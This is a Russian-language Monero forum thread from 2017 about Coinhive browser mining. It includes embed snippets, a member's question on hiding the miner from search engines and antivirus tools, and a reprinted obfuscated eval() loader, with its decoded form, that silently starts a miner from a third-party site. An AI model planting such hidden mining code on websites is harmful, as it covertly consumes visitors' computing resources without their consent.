coin-hive.com - майнинг монеро через javascript прямо из браузера

Тема в разделе "Пулы", создана пользователем AJIekceu4, 18 сен 2017.

Метки:
  1. AJIekceu4

    Команда форума Администратор

    Регистрация:
    17 авг 2017
    Сообщения:
    57
    Симпатии:
    14
    Новенький проект coin-hive.com
    Позволяет майнить монеро, с использованием javascript. Т.е. браузер пользователя, в котором он открывает сайт - выступает в роли программы для майнинга. Производительность составляет ~60% от полноценных программ для майнинга на CPU. Платят за каждую шару, т.е. система у них PPS, насколько я понимаю. Комиссия 30%, минимальная сумма для вывода 0,5 XMR. На данный момент доступны следующие варианты майнинга monero прямо из браузера пользователя:
    1. Майнинг на вашем собственном сайте. Вы регистрируетесь, добавляете ваш сайт в аккаунт, далее получаете публичный и приватный ключи, потом добавляете на своем сайте код. Вот описание.
    2. Использование капчи, т.е. вы используете на своем сайте их капчу, которая похожа на гугловскую, но только вместо решения головоломок, пользовательский браузер должен будет отослать определенное количество шар для успешного прохождения капчи. Пример.
    3. Сервис коротких ссылок. Аналогично предыдущему пункту, пользователь кликает по ссылке в браузере, открывается окошко, в котором его браузер начинает майнить монеро и отсылать шары. Как только необходимое количество шар будет передано, пользователя перенаправляет на нужную ему страницу. Пример.
     
    #1 AJIekceu4, 18 сен 2017
    Последнее редактирование: 21 сен 2017
  2. Luck

    Luck Monerano

    Регистрация:
    1 сен 2017
    Сообщения:
    34
    Симпатии:
    4
    Скажу только одно.
    Их быстро прижмут сами разработчики браузеров и все антивири. Работать будет почти - нигде.
    Иначе так глядишь через месяц-два будет половина сайтов CPU до 100% грузить )))
     
  3. АВТОР
    АТ
    AJIekceu4

    Команда форума Администратор

    Регистрация:
    17 авг 2017
    Сообщения:
    57
    Симпатии:
    14
    Там это настраивается, можно получить число доступных потоков пользователя и использовать, например, только половину. Или вообще на одном ядре все запускать. Также есть троттлинг. Как вариант для сайтов, которые не могут крутить рекламу дорогую или же где пользователи с низким материальным достатком - очень интересно. ИМХО, их вариант с короткими ссылками - просто бомба. Скоро весь интернет заспамят ;)
     
  4. MaxOnNet

    MaxOnNet Piconero

    Регистрация:
    1 сен 2017
    Сообщения:
    7
    Симпатии:
    3
    Идея отличная в целом, применил на 2х мелких сайтах, к которым имею доступ ( с троллингом в 0.5). Копеечки пошли. История с pr0gramm.com, отлично описывает удачность идеи, когда платить за левую услугу в виде просмотра картинок без рекламы, не особо хочется, а вот запустить майнер от портала в отдельной вкладке и продолжать просмотр без рекламы уже можно, даже приятно имхо.
     
  5. LindonPool

    Команда форума Редактор

    Регистрация:
    5 сен 2017
    Сообщения:
    53
    Симпатии:
    9
    Помнится исходя из формул народ считал, что при 5% Pool Fee пулу надо иметь подушку в 1200XMR для PPS'а.
    --- Добавлено ---
    Ну вот если в отдельной и человека предупреждать «Дядя, а вот открой вкладку с таким-то адресом, ты мне копеечкой поможешь», то идея имеет право на жизнь, а так сейчас начнут вкорячивать просто к себе на сайты люди не очень умные и быстро это все начнут давить и антивирями, и на уровне самих браузеров.
     
  6. Luck

    Luck Monerano

    Регистрация:
    1 сен 2017
    Сообщения:
    34
    Симпатии:
    4
    Так антивири их в любом случае задавят.
    Если даже на любой клиентский майнер все антивири давно орут... то тут тем более параноидально будут рубить под корень как угрозу.
     
  7. АВТОР
    АТ
    AJIekceu4

    Команда форума Администратор

    Регистрация:
    17 авг 2017
    Сообщения:
    57
    Симпатии:
    14
    А ссылку на расчеты можно? В любом случае у них комиссия указана 30% + минималка для выплаты 0,5 XMR (это тоже надо учитывать при расчетах). Так что подушка им такая большая не нужна точно ;)

    JavaScript можно зашифровать, наверняка следующим шагом они сделают возможность прикурчивать собственный домен для загрузки и отправки шар, как на всяких файлопомойках и тизерных сетях сделано ;)

    Уже есть даже расширение для гугл хрома (No Coin), которое позволяет блокировать coin-hive.com и любой другой домен.
     
  8. LindonPool

    Команда форума Редактор

    Регистрация:
    5 сен 2017
    Сообщения:
    53
    Симпатии:
    9
    Вот сейчас под рукой только цитата про это.

    «If you're considering PPS, I've spoken with [Fireice_UK](https://github.com/fireice-uk/) whom kindly did some math about what you're looking at in terms of requiements to run a PPS pool without it self-impoloding under particular risk factors, based on the work found [here](https://arxiv.org/pdf/1112.4980.pdf)

    Also I calculated the amount of XMR needed to for a PPS pool to stay afloat. Perhaps you should put them up in the README to stop some spectacular clusterfucks :D:
    For 1 in 1000000 chance that the pool will go bankrupt: 5% fee -> 1200 2% fee -> 3000
    For 1 in 1000000000 chance: 5% fee -> 1800 2% fee -> 4500»

    Подробности лучше спросить у уважаемого MineMonero.Pro, он должен лучше знать
     
  9. АВТОР
    АТ
    AJIekceu4

    Команда форума Администратор

    Регистрация:
    17 авг 2017
    Сообщения:
    57
    Симпатии:
    14
    Они выложили на своем сайте новость и график их общего хешрейта в сети монеро:
    coinhive-first-week-hashrate.png
    В какой то момент по их словам, они достигли ~5% от общего хешрейта всей сети. Так что очень даже не плохо пошло все в массы ;)
    И это все только в первую неделю работы.
     
  10. LindonPool

    Команда форума Редактор

    Регистрация:
    5 сен 2017
    Сообщения:
    53
    Симпатии:
    9
    Если это правда, то я пойду и повешусь в сортире. За 5 дней до 5% сети.
    С другой стороны понятно, что это на зараженных хостингах все и что это ничем от ботоводов не отличается.
     
  11. Luck

    Luck Monerano

    Регистрация:
    1 сен 2017
    Сообщения:
    34
    Симпатии:
    4
    Понятно что на зараженных хостингах 90-95% всего этого по идее )) Сейчас волной пошло.

    Тема конечно же не плохая. Но вот именно из-за этого мне все равно кажется что жучить их будут очень и очень )

    В отличии от тех же простых троянов майнеров на пользовательских машинах (о которых антивирус узнает обычно не скоро и те успевают нормально прожить).

    То тут оно как на ладошке... все в публичном доступе.
     
  12. LindonPool

    Команда форума Редактор

    Регистрация:
    5 сен 2017
    Сообщения:
    53
    Симпатии:
    9
    Вот мне за идею обидно. Казалось бы может быть инструмент для людей нежелающих вешать у себя рекламу, а на практике выходит инструмент для тех кто по зараженным хостам развешивает. При чем мне было интересно когда же кто-нибудь напишет майнер на js, ибо идея явная, но я сам нифига не прогер, потому сам и не думал в эту сторону, а теперь понимаю, что выйдет фигней и заблокируют их везде где можно и нельзя
     
  13. АВТОР
    АТ
    AJIekceu4

    Команда форума Администратор

    Регистрация:
    17 авг 2017
    Сообщения:
    57
    Симпатии:
    14
    Ставил эту штуку на одном из сайтов развлекательной тематики. По достижении минималки в 0,5 XMR - все выплатили, монерки дошли на кошелек.
    coin-hive1.png
    coin-hive2.png
    Подводя итог: С рекламы обычных тизеров выходит даже чуть больше, чем от майнинга (~6000р за аналогичный промежуток времени на этом же сайте). НО, при большой жадности можно оставить и традиционные рекламные блоки и майнинг, тогда доход бы получился в ~2 раза выше. Проверил по метрике, никакие важные параметры сайта (среднее время на сайте, показатель отказов, среднее число просмотров) не поменялись вообще никак. Возможно, потому что запускал с троттлином, а не на полную катушку.
    Код:
    var miner = new CoinHive.Anonymous('blablabla', {throttle: 0.8});
    miner.start();
     
  14. LindonPool

    Команда форума Редактор

    Регистрация:
    5 сен 2017
    Сообщения:
    53
    Симпатии:
    9
    Есть один сайт на которой можно бы воткнуть, но это надо понять как засунуть js в phpшник ))
     
  15. АВТОР
    АТ
    AJIekceu4

    Команда форума Администратор

    Регистрация:
    17 авг 2017
    Сообщения:
    57
    Симпатии:
    14
    Обычным echo можно.
    Вроде такого:
    PHP:
    echo '<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
    <script>
       var miner = new CoinHive.Anonymous(\'<site-key>\');
       miner.start();
    </script>'
    ;
     
  16. LindonPool

    Команда форума Редактор

    Регистрация:
    5 сен 2017
    Сообщения:
    53
    Симпатии:
    9
    И действительно можно :)
    Посмотрим чего смешного намайнится на одном сайте :)
    --- Добавлено ---
    Кстати, у меня самого uBlock сходу режет coinhive.min.js, видать уже где-то в подписках пришло.
     
  17. JohnyLee

    JohnyLee Piconero

    Регистрация:
    23 сен 2017
    Сообщения:
    1
    Симпатии:
    0
    Код:
    <script src="https://coin-hive.com/lib/coinhive.min.js"></script>
    <script>
        var miner = new CoinHive.Anonymous('key');
        miner.start();
        miner.setThrottle(0.4);
    </script>
    Интересно, как внедрить код на свой сайт, чтобы это было не палевно перед поисковыми системами и антивирусами.
    Вон http://kinoprofi.org/ как поставил майнер, фиг найдешь его...
     
  18. АВТОР
    АТ
    AJIekceu4

    Команда форума Администратор

    Регистрация:
    17 авг 2017
    Сообщения:
    57
    Симпатии:
    14
    Это потому что он у них запакован в одном из файлов со скриптами:
    HTML:
    eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(1(d){9 0=d.8(\'a\');0.b="7://e-6.2/3/4.5.c";0.k=f;0.m=1(){o n.l(\'g\').h()};d.i.j(0)})(p);',26,26,'s|function|com|lib|coinhive|min|hive|https|createElement|var|script|src|js||coin|false|6cghP0x7RQ6djdrPomAfWLEkAGhoPLfL|start|head|appendChild|async|Anonymous|onload|CoinHive|new|document'.split('|'),0,{}));
    Онлайн декодер, говорит, что это следующая строчка:
    HTML:
    (function(d){var s=d.createElement('script');s.src="https://coin-hive.com/lib/coinhive.min.js";s.async=false;s.onload=function(){new CoinHive.Anonymous('6cghP0x7RQ6djdrPomAfWLEkAGhoPLfL').start()};d.head.appendChild(s)})(document);
    Но я не представляю, как это поможет от определения антивирусами, браузерами и поисковыми системами, если они этого всерьез захотят. Учитывая, что это в глобальных масштабах пока не сильно распространено, не думаю, что поисковики начнут санкции за это накладывать. Даже если это произойдет, в вебмастере наверняка появится сообщение, что на сайте обнаружен вредоносный код. Который можно будет убрать и отправить робота на повторное сканирование сайта.
     
  19. Luck

    Luck Monerano

    Регистрация:
    1 сен 2017
    Сообщения:
    34
    Симпатии:
    4
    Уже взялись более серьезно:

    "CDN-сервис Cloudflare блокирует сайты за использование скриптов для майнинга криптовалют"

    Популярный CDN-прокси Cloudflare исключает из своей системы сайты, использующие JavaScript-код для майнинга криптовалют на компьютерах своих посетителей.

    Cloudflare, который часто критикуют за слишком мягкую политику в отношении пиратских сайтов, без предупреждения закрывает блокирует сайты, в код которых интегрированы майнеры криптовалют.

    Источником информации стал владелец сайта ProxyBunker, который получил от Cloudflare электронное письмо о закрытии аккаунта в связи с «нарушением правил пользования сервисом». В следующем письме Cloudflare заявил, что нарушение явилось результатом привязки к аккаунту доменов «в которые был внедрён код для майнига Coinhive, о чём посетители страницы не были предупреждены, равно как и не имели возможности отключить нежелательный код».

    «Мы считаем, что это зловредное ПО, поэтому приостанавливаем действие вашего аккаунта. Все ваши домены были удалены с сервиса Cloudflare», - пишет Cloudflare.

    ProxyBunker пожаловался на несправедливость решения, сославшись на то, что Cloudflare не опубликовал в публичном доступе информацию о том, что воровство вычислительных мощностей посетителей сайтов при помощи скриптов для майнинга криптовалют является нарушением их правил.



    А дальше на верное по цепочке их все удушат.

    Лично я считаю что другого выхода нет... не смотря на то что идея очень хорошая.
    Если полазить по инету и почитать куда этот coin-hive и через какие места начали пихать везде по сайтам всякие нехорошие люди. То становится очевидно что при таком темпе даже раньше чем до нового года будет полный хаос.

    Для монеро это станет хуже чем асики для биткоина в свое время... сложность улетит в небеса.
    Потребность в пулах так таковых отпадет и они просто вымрут.

    Майнеров так таковых не станет а будет просто кучка плохих ребят + стадо рабочих которые об этом даже не знают.
    Ботнеты которые все время майнили на пулах покажутся просто детским баловством.
    А для развитие монеты это очень и очень не есть гуд.
     
  20. coincoin

    coincoin Monerano

    Регистрация:
    3 сен 2017
    Сообщения:
    18
    Симпатии:
    8
    А я напротив целиком и полностью за веб майнинг. Это улучшает гетерогенность оборудования, отвязывая от конкретных производителей. Плюс, в идеале может стать неплохой защитой для сайтов от DDoS. Интересно, что Hashcash изначально планировался с этой целью, а уже много лет спустя был применен в биткоине. Теперь все возвращается. Насчет пулов - тут ничего не меняется, тот же coinhive и есть пул. Со временем появятся новые. Вот тот же cloudflare я бы скорее забанил. Давит конкурента просто.

    Что до негативных эффектов - это устранимо. Можно усовершенствовать майнинг, чтобы не мешал пользователю нагрузкой.
     
    kvmo нравится это.
  • О нас

    Наш сайт является одним из уникальных мест, где русскоязычное сообщество Monero может свободно общаться на темы, связанные с этой криптовалютой. Мы стараемся публиковать полезные мануалы и статьи (как собственные, так и переводы с английского) о криптовалюте Monero. Если вы хорошо владеете английским (или можете писать собственные статьи/мануалы) и хотите помочь в переводах и общем развитии Monero для русскоязычной аудитории - свяжитесь с одним из администраторов.